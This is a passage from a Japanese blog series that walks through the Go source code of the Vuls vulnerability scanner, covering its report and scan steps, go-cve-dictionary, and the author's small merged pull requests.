href="https://github.com/future-architect/vuls/blob/v0.11.0/report/report.go#L201">fillCveDetail()</a>ではgo-cve-dictionaryを使って、NVDとJVNのCVEの詳細情報とCERT(<a href="https://www.us-cert.gov/">US-CERT</a>, <a href="https://kb.cert.org/vuls/">kb.cert.org</a>, <a href="https://www.jpcert.or.jp/">JPCERT</a>)の情報を取得を行います。</p> <p> </p> <h5 id="FillWithExploit-CVEのexploitコードの取得-go-exploitdb">FillWithExploit() CVEのexploitコードの取得 (go-exploitdb)</h5> <p>L206の<a href="https://github.com/future-architect/vuls/blob/v0.11.0/report/report.go#L206">FillWithExploit()</a>では<a href="https://github.com/vulsio/go-exploitdb">go-exploitdb</a>を使ってCVEのexploitコードの取得を行います。</p> <p>go-exploitdbでは以下の3つからCVEに紐付くexploitコードの収集を行なっています。</p> <p>・<a href="https://www.exploit-db.com/">ExploitDB(OffensiveSecurity)</a><br />・<a href="https://github.com/search?o=desc&amp;q=CVE&amp;s=&amp;type=Repositories">GitHub Repositories</a><br />・<a href="https://github.com/qazbnm456/awesome-cve-poc">Awesome Cve Poc</a></p> <p> </p> <p>Github RepositoriesはGithubのrepository名からCVE番号っぽいものを探してきて保存するということを行なっているようです。</p> <p>CVE番号っぽいものは</p> <p>CVE : CVE- 2018-7198、CVE : [CVE-2018- 11034]、CVE: 2017-13056</p> <p>などを正規表現を使って特定しているようです。</p> <p>(<a href="https://github.com/vulsio/go-exploitdb/blob/f647f17ea8cadff5954059e2b3f777d2be2b4425/extractor/extractor.go#L13">この辺り</a>が参考になりそうです)</p> <p> </p> <p>Awesome Cve Pocは<a href="https://github.com/qazbnm456">qazbnm456</a>さんが個人集めているPoCが一覧になっているrepositoryのようです。</p> <p> </p> <h5 id="FillWithMetasploitrapid7のexploitコードの取得-go-msfdb">FillWithMetasploit() rapid7のexploitコードの取得 (go-msfdb)</h5> <p>L214の<a href="https://github.com/future-architect/vuls/blob/v0.11.0/report/report.go#L214">FillWithMetasploit()</a>では先ほど少し説明したgo-msfdbを使って収集したrapid7のMetasploitのモジュール一覧と突合させます。</p> <p> </p> <h5 id="fillCweDict-CVEに紐づけられたCWEの取得">fillCweDict() CVEに紐づけられたCWEの取得</h5> <p>L221の<a href="https://github.com/future-architect/vuls/blob/v0.11.0/report/report.go#L221">fillCweDict()</a>ではCVEに紐づけられているCWEを取得します。</p> <p>CWEのID, Name, Descriptionの辞書情報は<a href="https://github.com/future-architect/vuls/blob/v0.11.0/cwe/en.go">vuls/cwe/en.go</a>で定義されているため、この情報も使ってreportの作成を行います。</p> <p> </p> <h4 id="L413-Write-slack-メール-telegramなどにreportを出力">L413 Write() slack, メール, telegramなどにreportを出力</h4> <p>report.goに戻り、L413のWrite()で最後にreportの出力を行います。</p> <p>出力先は事前に設定したslackやメール、telegramなどに出力をします。</p> <p>例えば、report/slack.goの<a href="https://github.com/future-architect/vuls/blob/v0.11.0/report/slack.go#L30">Write()</a>を見ればgo言語でslack通知を実現するための方法の参考になるかもしれません。</p> <p> </p> <h3 id="感想">感想</h3> <h4 id="gost">gost</h4> <p>redhat, debianの脆弱性を調査したい訳ではない時でもdebian Security TrackerのNoteやSourceに書かれているリンク、bugzillaから脆弱性(CVE)の詳細情報を確認することがある。</p> <p>gostもserver modeからCVEの検索ができるので少し変わった用途ではあるがgostを使ってCVE検索し脆弱性調査を行うのも良いかもと思いました。</p> <p>(それよりもVuls本体にCVEの横断検索機能のようなものがあると個人的には嬉しいかも)</p> <p> </p> <h4 id="Awesome-Web-Security">Awesome Web Security</h4> <p>Awesome Cve Pocのqazbnm456さんの<a href="https://github.com/qazbnm456/awesome-web-security">Awesome Web Security</a>が面白そう。</p> <p><img class="hatena-fotolife" title="f:id:security_index:20191222215942p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191222/20191222215942.png" alt="f:id:security_index:20191222215942p:plain" width="442" /></p> <p><a href="https://github.com/apsdehal/awesome-ctf">awesome-ctf</a>というものもあるみたい。</p> <p> </p> <p>その1、その2、その3はこちら。</p> <p><a href="https://security-index.info/entry/2019/11/04/162804">Vulsのコードを読む その1 全体像の把握 - Security Index</a></p> <p><a href="https://security-index.info/entry/2019/11/17/205040">Vulsのコードを読む その2 go-cve-dictionary を理解する、バグを見つけてプルリクを出してマージされるまで - Security Index</a></p> <p><a href="https://security-index.info/entry/2019/12/07/222719">Vulsのコードを読む その3 Vuls scanを調べてみた - Security Index</a></p> <p> </p> <p>Twitter アカウント</p> <p><a href="https://twitter.com/security_index">Security Index (@security_index) | Twitter</a></p> <p> </p> <p><a href="https://amzn.to/2PLfvgg">Go言語でつくるインタプリタ</a></p> <p><a href="https://amzn.to/2sRGU7l">プログラミング言語Go (ADDISON-WESLEY PROFESSIONAL COMPUTING SERIES)</a></p> <p><a href="https://amzn.to/35PlXZc">ソフトウェア・ファースト</a></p> <p> </p> security_index Vulsのコードを読む その3 Vuls scanを調べてみた (Vulsへのプルリク) hatenablog://entry/26006613469979971 2019-12-07T22:27:19+09:00 2020-07-20T15:24:30+09:00 Vulsのコードを読む その1 全体像の把握, Vulsのコードを読む その2 go-cve-dictionary を理解する、バグを見つけてプルリクを出してマージされるまでの続きになります。 今回は、Vulsのscan部分を具体的に掘り下げて理解していきたいと思います。 <p><a href="https://security-index.hatenablog.com/entry/2019/11/04/162804">Vulsのコードを読む その1 全体像の把握</a>,  <a href="https://security-index.hatenablog.com/entry/2019/11/17/205040">Vulsのコードを読む その2 go-cve-dictionary を理解する、バグを見つけてプルリクを出してマージされるまで</a>の続きになります。</p> <p> </p> <p>今回は、Vulsのscan部分を具体的に掘り下げて理解していきたいと思います。</p> <p><img class="hatena-fotolife" title="f:id:security_index:20191207223039p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191207/20191207223039.png" alt="f:id:security_index:20191207223039p:plain" width="464" /></p> <ul class="table-of-contents"> <li><a href="#vuls-scan">vuls scan </a><ul> <li><a href="#non-packages-scanの例">non-packages scanの例</a></li> <li><a href="#L121NewCustomLogger-logフォルダの作成">L121 NewCustomLogger() logフォルダの作成</a></li> <li><a href="#L123mkdirDotVulshomeディレクトリにvulsフォルダの作成">L123 mkdirDotVuls() homeディレクトリに.vulsフォルダの作成</a></li> <li><a href="#L130L136-SSH-key-入力">L130~L136 SSH key 入力</a></li> <li><a href="#L138L147-設定ファイルconfigtomlの読み込み">L138~L147 設定ファイル(config.toml)の読み込み</a></li> <li><a href="#L162L191-servernamesの設定">L162~L191 servernamesの設定</a></li> <li><a href="#L198ValidateOnScan-設定ファイルの検証">L198 ValidateOnScan() 設定ファイルの検証</a></li> <li><a href="#L203-InitServers-スキャン対象の特定">L203 InitServers() スキャン対象の特定</a></li> <li><a href="#L209-CheckScanModes-スキャンできるかどうかの確認">L209 CheckScanModes() スキャンできるかどうかの確認</a></li> <li><a href="#L215-DetectPlatforms-プラットフォームAWSなのかContainerなのかの確認">L215 DetectPlatforms() プラットフォーム(AWSなのかContainerなのか)の確認</a></li> <li><a href="#L217-DetectIPSs-Trend-MicroのDeep-Securityの設定確認">L217 DetectIPSs() Trend MicroのDeep Securityの設定確認</a></li> <li><a href="#L220-Scan-パッケージ情報などを取得し保存">L220 Scan() パッケージ情報などを取得し保存</a></li> </ul> </li> <li><a href="#感想">感想</a><ul> <li><a href="#デバッガの利用">デバッガの利用</a></li> <li><a href="#Vulsで使われているライブラリ">Vulsで使われているライブラリ</a><ul> <li><a href="#Log">Log</a></li> <li><a href="#homeディレクトリ">homeディレクトリ</a></li> <li><a href="#パスワードのターミナル入力">パスワードのターミナル入力</a></li> <li><a href="#dockerの静的解析">dockerの静的解析</a></li> </ul> </li> <li><a href="#最後に">最後に</a></li> </ul> </li> </ul> <p> </p> <h3 id="vuls-scan">vuls scan </h3> <h4 id="non-packages-scanの例">non-packages scanの例</h4> <p><a href="https://vuls.io/docs/en/usage-scan-non-os-packages.html#type-pseudo">Scan vulnerabilites of non-OS packages · Vuls</a></p> <p>ssh接続せずにCPEで指定したソフトウェアの脆弱性を検出する機能で簡単にvuls scanからvuls reportを実行した場合を説明します。</p> <p> </p> <p>公式ドキュメントに従い、config.tomlを以下のように設定します。</p> <p><img class="hatena-fotolife" title="f:id:security_index:20191123205639p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191123/20191123205639.png" alt="f:id:security_index:20191123205639p:plain" width="443" /></p> <p> </p> <p>vuls scanを実行します。</p> <p><img class="hatena-fotolife" title="f:id:security_index:20191123205916p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191123/20191123205916.png" alt="f:id:security_index:20191123205916p:plain" width="447" /></p> <p> </p> <p>次にvuls report -format-full-textでスキャン結果を表示します。</p> <p><img class="hatena-fotolife" title="f:id:security_index:20191123224219p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191123/20191123224219.png" alt="f:id:security_index:20191123224219p:plain" width="492" /></p> <p> </p> <p>このように、config.tomlで設定されたCPE(cpe:/o:fortinet:fortios:4.3.0)をスキャンし、脆弱性を確認することができます。</p> <p> </p> <p>今回は上記の中でもvuls scanの部分を説明します。</p> <p>対象となるソースコードは<a href="https://github.com/future-architect/vuls/blob/master/commands/scan.go">vuls/commands/scan.go</a> になります。</p> <p>前半の部分は以前に説明していますので、<a href="https://github.com/future-architect/vuls/blob/master/commands/scan.go#L123">L123</a>のExecute() 以下の部分から説明していきます。</p> <p> </p> <h4 id="L121NewCustomLogger-logフォルダの作成"><a href="https://github.com/future-architect/vuls/blob/v0.11.0/commands/scan.go#L121">L121</a> NewCustomLogger() logフォルダの作成</h4> <p>Logフォルダの生成などを行なっています。</p> <p>/var/log/vuls にlogが置かれるようになっています。</p> <p>logの生成には<a href="https://github.com/sirupsen/logrus">logurs</a>というライブラリが使用されています。</p> <p><img class="hatena-fotolife" title="f:id:security_index:20191124191837p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191124/20191124191837.png" alt="f:id:security_index:20191124191837p:plain" width="486" /></p> <p> </p> <h4 id="L123mkdirDotVulshomeディレクトリにvulsフォルダの作成"><a href="https://github.com/future-architect/vuls/blob/v0.11.0/commands/scan.go#L123">L123</a> mkdirDotVuls() homeディレクトリに.vulsフォルダの作成</h4> <p>homeディレクトリに.vulsフォルダを作成しています。</p> <p>.vulsフォルダの中には何も入っていなかったため今回のケースでは特に利用されないようです。</p> <p>(scan/executil.goのcontrolPathとして.vulsが利用されていますがcontrolPathが他で利用されていないため現在は利用されていないかもしれません。)</p> <p>homeディレクトリを取得する部分には<a href="https://github.com/mitchellh/go-homedir">go-homedir</a>というライブラリが使用されています。</p> <p>homeディレクトリを取得するために os/user という標準パッケージがありますが、そちらを使うとクロスコンパイルができないという問題があるそうです。</p> <p><img class="hatena-fotolife" title="f:id:security_index:20191124191738p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191124/20191124191738.png" alt="f:id:security_index:20191124191738p:plain" width="441" /></p> <p> </p> <h4 id="L130L136-SSH-key-入力"><a href="https://github.com/future-architect/vuls/blob/v0.11.0/commands/scan.go#L130">L130</a>~L136 SSH key 入力</h4> <p>今回は利用していませんが、ask-key-passwordフラグを立てた場合にはSSH key入力ができるようになります。</p> <p>commands/util.goの getPasswd() で<a href="https://github.com/howeyc/gopass">gopass</a>というライブラリを使い、ターミナル上から入力を受け付け、パスワードのマスク処理を実現しています。</p> <p><img class="hatena-fotolife" title="f:id:security_index:20191124191644p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191124/20191124191644.png" alt="f:id:security_index:20191124191644p:plain" width="282" /></p> <p> </p> <h4 id="L138L147-設定ファイルconfigtomlの読み込み"><a href="https://github.com/future-architect/vuls/blob/v0.11.0/commands/scan.go#L138">L138</a>~L147 設定ファイル(config.toml)の読み込み</h4> <p>設定ファイルのconfig.tomlファイルの読み込み処理を行なっています。</p> <p><a href="https://github.com/future-architect/vuls/blob/69214e0c22b718fd2bbca01eed614a6430e64989/config/tomlloader.go#L17">config/tomlloader.go</a>のLoad()でtomlファイルの読み込み、エラー処理等を行なっています。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191123223523p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191123/20191123223523.png" alt="f:id:security_index:20191123223523p:plain" width="422" /></p> <p> </p> <p>このように読み込み設定だけでも量が多く、それぞれの設定のエラー処理、設定されていない場合のデフォルト設定などもされているためコード行数は結構多いです。</p> <p>エラーがあった場合にはlog出力されます。</p> <p> </p> <h4 id="L162L191-servernamesの設定"><a href="https://github.com/future-architect/vuls/blob/v0.11.0/commands/scan.go#L162">L162</a>~L191 servernamesの設定</h4> <p>servernamesの取得、設定を行なっています。</p> <p>servernamesはconfig.tomlで設定したサーバーの中からどのサーバーをscanするのかを設定するときに利用するものです。</p> <p> </p> <p>vuls scan と引数なしで実行した場合にはconfig.tomlで設定されたサーバー(今回の場合だとservers.forti)へスキャンをかけます。</p> <p>vuls scan forti と明記することで他のサーバーがconfig.tomlで設定されている場合にfortiのみにスキャンをかけるという設定ができます。</p> <p> </p> <p>引数の取得は標準パッケージのflagのArgs()でフラグ以外の引数を取得できます。(<a href="https://github.com/future-architect/vuls/blob/v0.11.0/commands/scan.go#L163">L163</a>)</p> <p> </p> <p>引数がない場合にはioutil.ReadAll(os.Stdin)でパイプで渡された入力(servernames)を受け取る処理が行われます。(<a href="https://github.com/future-architect/vuls/blob/v0.11.0/commands/scan.go#L165">L165</a>)</p> <p> </p> <h4 id="L198ValidateOnScan-設定ファイルの検証"><a href="https://github.com/future-architect/vuls/blob/v0.11.0/commands/scan.go#L198">L198</a> ValidateOnScan() 設定ファイルの検証</h4> <p>config/config.goのValidateOnScan()で設定ファイルの検証を行います。</p> <p>ssh keyのファイルパスが正しいかどうか、ResultsDirのファイルパスの設定が正しいかどうかなどを行なっています。</p> <p><a href="https://github.com/asaskevich/govalidator">govalidator</a>というライブラリのIsFilePath()を使うことでファイルパスがWindowsのパスかどうか、Unixのパスかどうかの判定と正しい形式かどうかの確認を行うことができます。</p> <p><img class="hatena-fotolife" title="f:id:security_index:20191124192016p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191124/20191124192016.png" alt="f:id:security_index:20191124192016p:plain" width="489" /></p> <p> </p> <p>また、<a href="https://github.com/future-architect/vuls/blob/69214e0c22b718fd2bbca01eed614a6430e64989/config/config.go#L177">VlidateOnScan()</a> の部分にバグ?を発見しました。 </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191124210241p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191124/20191124210241.png" alt="f:id:security_index:20191124210241p:plain" width="488" /></p> <p> </p> <p>L180~L185とL191~L196の部分が全く同じ処理を行なっています。</p> <p>そのため、どちらか一つを実行すれば本来良いと思われるが2回エラーチェックが行われているように思われます。</p> <p> </p> <p>実際に以下のように -results-dir に絶対パスではない形で入力してみると、2回同じエラーが出力されます。</p> <p><img class="hatena-fotolife" title="f:id:security_index:20191209224151p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191209/20191209224151.png" alt="f:id:security_index:20191209224151p:plain" width="473" /></p> <p> </p> <p>2回行われているエラーチェック部分を一つだけに修正して再度実行させた結果、以下のように1回のみERROが表示されるようになりました。</p> <p><img class="hatena-fotolife" title="f:id:security_index:20191209231004p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191209/20191209231004.png" alt="f:id:security_index:20191209231004p:plain" width="469" /></p> <p> </p> <p>小さなバグでもプルリク出してみる。</p> <p><a href="https://github.com/future-architect/vuls/pull/927">fix(config): fix double checking ResultsDir Path by s-index · Pull Request #927 · future-architect/vuls · GitHub</a></p> <p> </p> <p>こちらも無事マージされました!</p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200720/20200720151733.png" alt="f:id:security_index:20200720151733p:plain" title="f:id:security_index:20200720151733p:plain" class="hatena-fotolife" itemprop="image" width="535" /></p> <p> </p> <h4 id="L203-InitServers-スキャン対象の特定"><a href="https://github.com/future-architect/vuls/blob/v0.11.0/commands/scan.go#L203">L203</a> InitServers() スキャン対象の特定</h4> <p>InitServers()でサーバーのスキャンなのか、コンテナのスキャンなのか、コンテナのイメージへのスキャンなのか、設定ファイルから特定します。</p> <p>サーバーのスキャンの場合は、OSは何か(Debian, RedHat, SUSEなど)の特定も行います。</p> <p>OSの特定は<a href="https://github.com/future-architect/vuls/blob/d6e74cce085ff4dd1b37d9928625f3214537c229/scan/serverapi.go#L103">detectOS()</a>で行われていますが、具体的には</p> <blockquote> <p>ls /etc/debian_version</p> </blockquote> <blockquote> <p>ls /etc/fedora-release</p> </blockquote> <p> といったコマンドを実行し、正しく取得できたかどうかを見ているようです。</p> <p> </p> <h4 id="L209-CheckScanModes-スキャンできるかどうかの確認"><a href="https://github.com/future-architect/vuls/blob/v0.11.0/commands/scan.go#L209">L209</a> CheckScanModes() スキャンできるかどうかの確認</h4> <p>InitServers()で特定したサーバーがスキャンできるかどうかの確認を行なっているようです。</p> <p>おそらく、設定ファイルが過去に作成されて現在の書き方に対応していない場合のエラーチェックだと思います。</p> <p> </p> <h4 id="L215-DetectPlatforms-プラットフォームAWSなのかContainerなのかの確認"><a href="https://github.com/future-architect/vuls/blob/v0.11.0/commands/scan.go#L215">L215</a> DetectPlatforms() プラットフォーム(AWSなのかContainerなのか)の確認</h4> <p>detectPlatform()の部分で、InitServers()で特定した情報を利用し、さらに詳細な情報、サーバーならAWSなのか、インスタンスIDは何か、確認していきます。</p> <p> </p> <p>awsの場合、<a href="https://github.com/future-architect/vuls/blob/d6e74cce085ff4dd1b37d9928625f3214537c229/scan/base.go#L355">detectRunningOnAws()</a> にて以下のコマンドを実行し、AWSのインスタンスIDを取得します。</p> <blockquote> <p>curl --max-time 1 --noproxy 169.254.169.254 <a href="http://169.254.169.254/latest/meta-data/instance-id">http://169.254.169.254/latest/meta-data/instance-id</a></p> </blockquote> <p>169.254.169.254はローカルアドレスで、上記のURLはAWSのEC2のメタデータを取得するためにAWS側で定義されているもののようです。</p> <p><a href="https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/ec2-instance-metadata.html">インスタンスメタデータとユーザーデータ - Amazon Elastic Compute Cloud</a></p> <p> </p> <h4 id="L217-DetectIPSs-Trend-MicroのDeep-Securityの設定確認"><a href="https://github.com/future-architect/vuls/blob/v0.11.0/commands/scan.go#L217">L217</a> DetectIPSs() Trend MicroのDeep Securityの設定確認</h4> <p>こちらはTrend Microの<a href="https://www.trendmicro.com/ja_jp/business/products/hybrid-cloud/deep-security.html">Deep Security</a>の情報を取得する部分となっているようです。</p> <p>実際の処理は<a href="https://github.com/future-architect/vuls/blob/d6e74cce085ff4dd1b37d9928625f3214537c229/scan/base.go#L324">detectDeepSecurity()</a>で行われています。</p> <p>この部分に関してはVulsの公式ドキュメントにあまり書かれていない部分のように思われます。</p> <p>Vulsの有料版のFuture Vulsのドキュメントでは<a href="https://help.vuls.biz/manual/integration_ds/">外部連携 DEEPSECURITY</a>と書かれたページがあるので、こちらが参考になると思います。</p> <p> </p> <h4 id="L220-Scan-パッケージ情報などを取得し保存"><a href="https://github.com/future-architect/vuls/blob/v0.11.0/commands/scan.go#L220">L220</a> Scan() パッケージ情報などを取得し保存</h4> <p>カーネル情報、インストールされているパッケージ情報、アップデート可能なパッケージ情報などを取得して、resultsディレクトリ以下に結果の保存を行います。</p> <p> </p> <p>この部分でメインとなる処理を行なっている部分は<a href="https://github.com/future-architect/vuls/blob/d6e74cce085ff4dd1b37d9928625f3214537c229/scan/serverapi.go#L732">GetScanResults()</a>で、状況の情報の取得や、Wordpresのバージョン、テーマ、プラグインの情報の取得、コンテナで使われているライブラリのパス、ライブラリ名、バージョン情報の取得などが行われています。</p> <p> </p> <p>ライブラリ周りに関しては<a href="https://github.com/aquasecurity">aquasecurity</a>の<a href="https://github.com/aquasecurity/fanal">fanal</a>, <a href="https://github.com/aquasecurity/go-dep-parser">go-dep-parser</a> が利用されています。</p> <p>go-dep-parserはnpmやcomposerなどの各言語毎のdependencyをパースするものです。</p> <p>fanalはdockerの静的解析を行うもので、dockerで利用されているライブラリを特定することができます。また、ライブラリだけでなく、OSの特定やパッケージの特定なども行うことができます。</p> <p> </p> <p>VulsのScan() の最後に <a href="https://github.com/future-architect/vuls/blob/d6e74cce085ff4dd1b37d9928625f3214537c229/scan/serverapi.go#L778">writeScanResults()</a> によってこれまで特定してきた情報をresultsディレクトリ以下にscan実行時間の名前のディレクトリを作成してjson形式で出力します。</p> <p> </p> <p>これでvuls scanの処理が完了します。</p> <p>そのため、vuls scanではscan対象がどのような状態なのかの確認のみを行い、その後のreportで脆弱性データベースとscan結果の情報と付き合わせてレポートを作成するようです。</p> <p> </p> <h3 id="感想">感想</h3> <h4 id="デバッガの利用">デバッガの利用</h4> <p>デバッガを使って処理を追う方がソースコードをただ読んでいくよりも効率よく理解が進むと思われますが、私があまり使いこなせていないために今回は利用しませんでした。</p> <p><a href="https://qiita.com/momotaro98/items/7fbcad57a9d8488fe999">Visual Studio CodeでGo言語のデバッグ環境を整える - Qiita</a></p> <p> </p> <p>使い方を少しずつ学んでいきたい。</p> <p> </p> <h4 id="Vulsで使われているライブラリ">Vulsで使われているライブラリ</h4> <p>Vulsの中で使われているライブラリも調べてみると新しい発見も多くありました。</p> <p> </p> <h5 id="Log">Log</h5> <p><a href="http://github.com/sirupsen/logrus">GitHub - sirupsen/logrus: Structured, pluggable logging for Go.</a></p> <p> </p> <p><a href="https://qiita.com/gold-kou/items/3143ab4622acacd33f8d">【Go×ログ】logrusの使い方を簡単に分かりやすくまとめてみた - Qiita</a></p> <p> </p> <h5 id="homeディレクトリ">homeディレクトリ</h5> <p><a href="https://github.com/mitchellh/go-homedir">GitHub - mitchellh/go-homedir: Go library for detecting and expanding the user's home directory without cgo.</a></p> <p> </p> <h5 id="パスワードのターミナル入力">パスワードのターミナル入力</h5> <p><a href="https://github.com/howeyc/gopass">GitHub - howeyc/gopass: getpasswd for Go</a></p> <p> </p> <h5 id="dockerの静的解析">dockerの静的解析</h5> <p><a href="https://github.com/aquasecurity/fanal">GitHub - aquasecurity/fanal: Static Analysis Library for Containers</a></p> <p> </p> <h4 id="最後に">最後に</h4> <p>Goを始めるに当たって<a href="https://amzn.to/2qFfErR">スターティングGo言語</a>を読んで文法などの基礎を身につけましたがVulsのコードを読んでいると実際の開発でのテクニックの部分も学ぶ必要があると感じています。</p> <p> </p> <p>まだ全部は読めていませんが<a href="https://amzn.to/37sD18K">改訂2版 みんなのGo言語</a>が基礎を理解した人がさらにステップアップするために必要な情報がまとまった本のように思いますので、この本を読んでGo言語、Vulsの理解を深めていきたいです。</p> <p> </p> <p>改訂2版 みんなのGo言語は2016年に刊行したものを2019年8月1日に全章アップデートされたものなので今読む本としてはおすすめです。</p> <p>実際に読むと前提知識を知らないために躓く部分もあるとは思いますが、そこも調べながら読み進めると得られるものが多いと思います。</p> <p> </p> <p>前回はgo-cve-dictionaryへのプルリクでしたが、今回はVuls本体へのプルリクを出して無事マージされました!</p> <p>今回も本当に小さな修正ですが、少しずつ本当に価値のあるプルリクを投げれるようになれればいいのかなと思っています。</p> <p>Github starが7.6kもあるOSSへ貢献できたというのはとても嬉しいです。</p> <p> </p> <p>次回はreportの部分をより詳しく見ていきたいと思います。</p> <p>また、<a href="https://issuehunt.io/">IssueHunt</a>を利用して<a href="https://issuehunt.io/r/future-architect/vuls">VulsのIssue</a>へプルリクを投げ、IssueHuntデビューもできたらしてみたい。</p> <p> </p> <p>その1、その2、その4はこちら。</p> <p><a href="https://security-index.info/entry/2019/11/04/162804">Vulsのコードを読む その1 全体像の把握 - Security Index</a></p> <p><a href="https://security-index.info/entry/2019/11/17/205040">Vulsのコードを読む その2 go-cve-dictionary を理解する、バグを見つけてプルリクを出してマージされるまで - Security Index</a></p> <p><a href="https://security-index.info/entry/2019/12/22/220855">Vulsのコードを読む その4 Vuls reportを調べてみた - Security Index</a></p> <p> </p> <p>Twitter アカウント</p> <p><a href="https://twitter.com/security_index">Security Index (@security_index) | Twitter</a></p> security_index Vulsのコードを読む その2 go-cve-dictionary を理解する、バグを見つけてプルリクを出してマージされるまで hatenablog://entry/26006613465919296 2019-11-17T20:50:40+09:00 2020-07-20T13:42:55+09:00 前回、Vulsのコードを読む その1 全体像の把握でざっくりとscanコマンド周りのそーうコードと実行時の流れの理解を行いました。 今回は、Vulsの中で利用されている go-cve-dictionary についてソースコードを読んで、理解をしていきたいと思います。 また、今回はソースコードを確認していく中でバグを発見しプルリクを出してみましたのでプルリクの投げ方についても簡単に解説していきたいと思います。 (追記 2019/11/23) 無事プルリクがマージされました! <p>前回、<a href="https://security-index.hatenablog.com/entry/2019/11/04/162804">Vulsのコードを読む その1 全体像の把握</a>でざっくりとscanコマンド周りのそーうコードと実行時の流れの理解を行いました。</p> <p> </p> <p>今回は、Vulsの中で利用されている <a href="https://github.com/kotakanbe/go-cve-dictionary">go-cve-dictionary</a> についてソースコードを読んで、理解をしていきたいと思います。</p> <p> </p> <p>また、今回はソースコードを確認していく中でバグを発見しプルリクを出してみましたのでプルリクの投げ方についても簡単に解説していきたいと思います。</p> <p> </p> <p>(追記 2019/11/23)</p> <p>無事プルリクがマージされました!</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191117124929p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191117/20191117124929.png" alt="f:id:security_index:20191117124929p:plain" width="399" /></p> <p> </p> <ul class="table-of-contents"> <li><a href="#go-cve-dictionaryの特徴">go-cve-dictionaryの特徴</a></li> <li><a href="#ソースコード">ソースコード </a><ul> <li><a href="#maingo">main.go</a></li> <li><a href="#commands">commands/</a></li> <li><a href="#commandsfetchnvdgo">commands/fetchnvd.go</a><ul> <li><a href="#1-データベース接続">1. データベース接続</a></li> <li><a href="#2-meta情報の取得">2. meta情報の取得</a></li> <li><a href="#3-meta情報より更新が必要かどうか判断-過去のmeta情報と比較">3. meta情報より更新が必要かどうか判断 (過去のmeta情報と比較)</a></li> <li><a href="#4-NVDの脆弱性情報の収集変換">4. NVDの脆弱性情報の収集、変換</a></li> <li><a href="#5-脆弱性情報をデータベースへ保存">5. 脆弱性情報をデータベースへ保存</a></li> <li><a href="#6-meta情報をデータベースへ保存">6. meta情報をデータベースへ保存</a></li> </ul> </li> </ul> </li> <li><a href="#参考">参考 </a><ul> <li><a href="#プルリクの出し方">プルリクの出し方</a></li> <li><a href="#プルリク後のCIツール">プルリク後のCIツール</a></li> <li><a href="#感想">感想</a></li> </ul> </li> </ul> <p> </p> <h3 id="go-cve-dictionaryの特徴">go-cve-dictionaryの特徴</h3> <p>go-cve-dictionaryはNVDとJVNの脆弱性データベースの情報を取得し、SQLiteやMySQLに保存、CVE の番号から簡単に検索する機能を提供しています。</p> <p> </p> <p>例えば</p> <p> </p> <blockquote><span style="background-color: #f6f8fa; font-family: SFMono-Regular, Consolas, 'Liberation Mono', Menlo, monospace; font-size: 13.6px; white-space: pre-wrap; color: #24292e;">$ go-cve-dictionary fetchnvd -years 2002 2003 2016</span></blockquote> <p> </p> <p>というコマンドでNVDの2002, 2003, 2016年の脆弱性情報 (CVE) を取得し、cve.sqlite3 に保存することができます。</p> <p> </p> <p>以下のコマンドでWebサーバーを立ち上げて保存した脆弱性情報を検索することもできます。</p> <p> </p> <blockquote> <pre style="box-sizing: border-box; font-family: SFMono-Regular, Consolas, 'Liberation Mono', Menlo, monospace; font-size: 13.6px; margin-top: 0px; margin-bottom: 0px; overflow-wrap: normal; padding: 16px; overflow: auto; line-height: 1.45; background-color: #f6f8fa; border-radius: 3px; word-break: normal; color: #24292e; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">$ go-cve-dictionary server</pre> </blockquote> <blockquote> <pre style="box-sizing: border-box; font-family: SFMono-Regular, Consolas, 'Liberation Mono', Menlo, monospace; font-size: 13.6px; margin-top: 0px; margin-bottom: 0px; overflow-wrap: normal; padding: 16px; overflow: auto; line-height: 1.45; background-color: #f6f8fa; border-radius: 3px; word-break: normal; color: #24292e; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">$ curl <a href="http://127.0.0.1:1323/cves/CVE-2014-0160">http://127.0.0.1:1323/cves/CVE-2014-0160</a> <span class="pl-k" style="box-sizing: border-box; color: #d73a49;">|</span> jq <span class="pl-s" style="box-sizing: border-box; color: #032f62;"><span class="pl-pds" style="box-sizing: border-box; color: #032f62;">"</span>.<span class="pl-pds" style="box-sizing: border-box; color: #032f62;">"</span></span> </pre> </blockquote> <p> </p> <p><a href="https://nvd.nist.gov/vuln/detail/CVE-2014-0160">CVE-2014-0160</a>は<a href="https://www.ipa.go.jp/security/ciadr/vul/20140408-openssl.html">HeartBleed</a>の脆弱性です。</p> <p> </p> <h3 id="ソースコード">ソースコード </h3> <p> </p> <h4 id="maingo">main.go</h4> <p>vulsと同様に <a href="https://github.com/google/subcommands">github.com/google/subcommands</a> を使ったコマンドラインの引数を受け付ける部分になっています。</p> <p> </p> <blockquote> <p>subcommands.Register(subcommands.HelpCommand(), "")<br /> subcommands.Register(subcommands.FlagsCommand(), "")<br /> 